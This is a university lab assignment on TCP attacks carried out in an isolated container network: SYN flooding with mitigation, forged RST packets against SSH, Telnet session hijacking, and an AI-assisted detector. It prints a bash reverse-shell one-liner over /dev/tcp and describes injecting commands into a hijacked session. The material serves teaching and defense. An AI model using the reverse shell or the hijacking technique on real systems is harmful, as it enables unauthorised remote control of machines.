

Assignment 2

TCP Attacks & Detection

Network Security (50.020)

0.	Objectives In this lab, you will learn: • TCP connection-state mechanisms. • SYN-flooding impact on service availability and mitigation. • TCP session manipulation through forged packets. • Packet-level analysis of legitimate and malicious TCP behaviour. • AI-assisted security engineering. Lab Setup: • VirtualBox • 1 Kali VM (root:toor) + NAT Network • 3 Docker containers + Internal Network
1.	Network and Basic Operations This lab uses one Kali Linux VM and Docker containers. The setup is the same as lab1. 3 containers on the same isolated internal network: • node1 – Client 10.11.2.5 • node2 – Server 10.11.2.6 • node3 – Attacker 10.11.2.7 All containers use kali/kali for the normal user account and root/toor for the root account. The three nodes can communicate with each other but cannot access the external Internet, keeping all experiments contained within the lab. Prepare the environment: • <code>./start.sh</code> The script creates the network, starts the containers, configures the services, and performs basic checks. Use the following command to view the running containers: • <code>docker compose ps</code> To enter a container directly as root, press Ctrl+Alt+T to start a new terminal, then: • <code>docksh node1</code> • <code>docksh node2</code> • <code>docksh node3</code>

	Inside each container, become familiar with basic commands such as: • ls • ifconfig • gedit • wireshark A shared folder is also provided for transferring files between the Kali host and all three containers. Any file placed in the shared folder will be visible from each container. After entering a container, use 'ls' to locate the shared folder and its contents. Before running a script, copy it into the root home directory. You can then run the script from the root home directory. This avoids permission or path issues when working directly from the shared folder. For example, in node3: <pre> • cp shared/test.py ~ • cd ~ • ls • python3 test.py </pre> Confirm the IP addresses, test connectivity between the three nodes, and verify that Wireshark can observe traffic before continuing to the next task. Include screenshots showing 3 running containers and node IP addresses.
2.	TCP SYN Flooding Attack TCP establishes a connection using the three-way handshake: SYN → SYN-ACK → ACK. After receiving a SYN request, the server temporarily keeps connection state while waiting for the final ACK. A TCP SYN flood abuses this behaviour by generating many connection requests without completing the handshake, causing large numbers of half-open connections to accumulate. If the server's pending-connection resources are exhausted, legitimate clients may experience delayed or failed connections, resulting in a denial of service. Before performing the experiment, check the following values on both the Kali host and node2: <pre> • sysctl net.ipv4.tcp_max_syn_backlog • sysctl -a grep syncookies • sysctl net.ipv4.tcp_synack_retries </pre> Question: Investigate and explain the purpose of each parameter and why it is relevant to SYN-flooding behaviour. Compare the default values on the Kali host and inside node2. Now, observe the normal TCP handshake using Wireshark, and start a Telnet connection from node1 to node2, once you are familiar with the traffic, you can type 'exit' to stop this connection and clear cached TCP information in node2. You may need to think about why it's necessary to clear the cache. <pre> • telnet 10.11.2.6 • ip tcp_metrics flush </pre> Monitor the server's half-open TCP connections using: <pre> • ss -Hnt state syn-recv </pre>

	This displays TCP connections currently in the SYN-RECV state. For continuous monitoring: • <code>watch -n 0.2 'ss -Hnt state syn-recv wc -l'</code> This refreshes every 0.2 seconds and displays the current number of half-open connections. Copy the script synflood.py to node3 and complete the code; you can edit it directly (don't forget to save it), then run the attack against the Telnet service on node2. • <code>gedit synflood.py</code> • <code>python3 synflood.py</code> Once you start running it, observe traffic from node1, node2, and node3 using Wireshark. Compare what each node can see, and pay particular attention to SYN packets, SYN-ACK responses, incomplete handshakes, and retransmissions. You can press Ctrl+C to stop the Python script. Question: At the same time, attempt to establish a Telnet connection from node1 to node2 and determine whether the legitimate service becomes unavailable or significantly degraded. Compare the traffic from each node, and what are your findings? What is the new packet you can see from node1 if your attack is successful? Question: Now, you are the defender; how to protect the server? Identify and explain the mitigation you selected. Launch the attack again and make sure the mitigation is working well.
3.	TCP Reset Attack TCP uses the RST (Reset) flag to immediately terminate an existing connection when one endpoint determines that the session is no longer valid. Because TCP relies on connection state, a forged RST packet may be accepted if it appears to belong to an existing session and contains valid connection information. In this task, node1 establishes a legitimate SSH connection to node2, while node3 generates and sends the forged RST packet to the server. From node1, connect to node2: • <code>ssh 10.11.2.6</code> Keep the SSH session active and use Wireshark to observe the connection. Identify the packets belonging to this SSH session and examine the relevant TCP header information. Copy the script tcp_RST_SSH.py to node3 and inspect the code. You must update the required TCP/IP values so that the forged packet matches the active SSH connection between node1 and node2. Determine which values are required by examining the legitimate traffic in Wireshark. • <code>gedit tcp_RST_SSH.py</code> • <code>python3 tcp_RST_SSH.py</code> Question: Identify the TCP/IP values required to construct the forged RST packet and include screenshots. Explain why the forged RST packet can be accepted as part of the legitimate SSH session. Because you currently have access to all three nodes in the lab, you can observe the legitimate TCP session directly. In a real-world scenario, however, an attacker may have access

	only to node3. Would the same RST attack still be possible? What additional challenge would the attacker face in obtaining the information required to construct a valid forged packet?
4.	TCP Hijacking Attack Telnet is a TCP-based remote terminal protocol. Because Telnet traffic is unencrypted, its session data and TCP behaviour can be directly observed in Wireshark. In this task, you will investigate TCP session hijacking using an established Telnet connection between node1 and node2. You will examine whether a forged TCP packet generated from node3 can be accepted as part of the legitimate session and used to inject a controlled command. The provided script is: tcp_hijacking.py Inspect and modify the required values in the script based on the active Telnet session observed in Wireshark. For this experiment, inject a harmless command that creates a new file, for example, log.txt in node2's /root directory. Use the creation of this file as evidence that the injected command was successfully processed. Next, you will extend this to a controlled reverse-shell demonstration; you may need to conduct some background research on the basic use of Netcat (nc) before starting that task. You may need this reverse-shell code: • <code>/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0<&1 2>&1</code> Take a screenshot from node3 showing that you can manage to get the reverse shell to node2.
5.	AI-Assisted Real-Time Attack Detection In this task, you will use an AI tool to develop a real-time TCP attack detection Python program that runs on node2. It should monitor the network and identify the attacks that you performed in the previous tasks. Show your key prompts, design approach, and detection results. If you do not implement it, please provide more detailed thinking, analysis, and justification of your approach.
6.	Submission • 1 PDF Report: Include screenshots, answers, analysis results. • Code Files: Scripts used in the lab.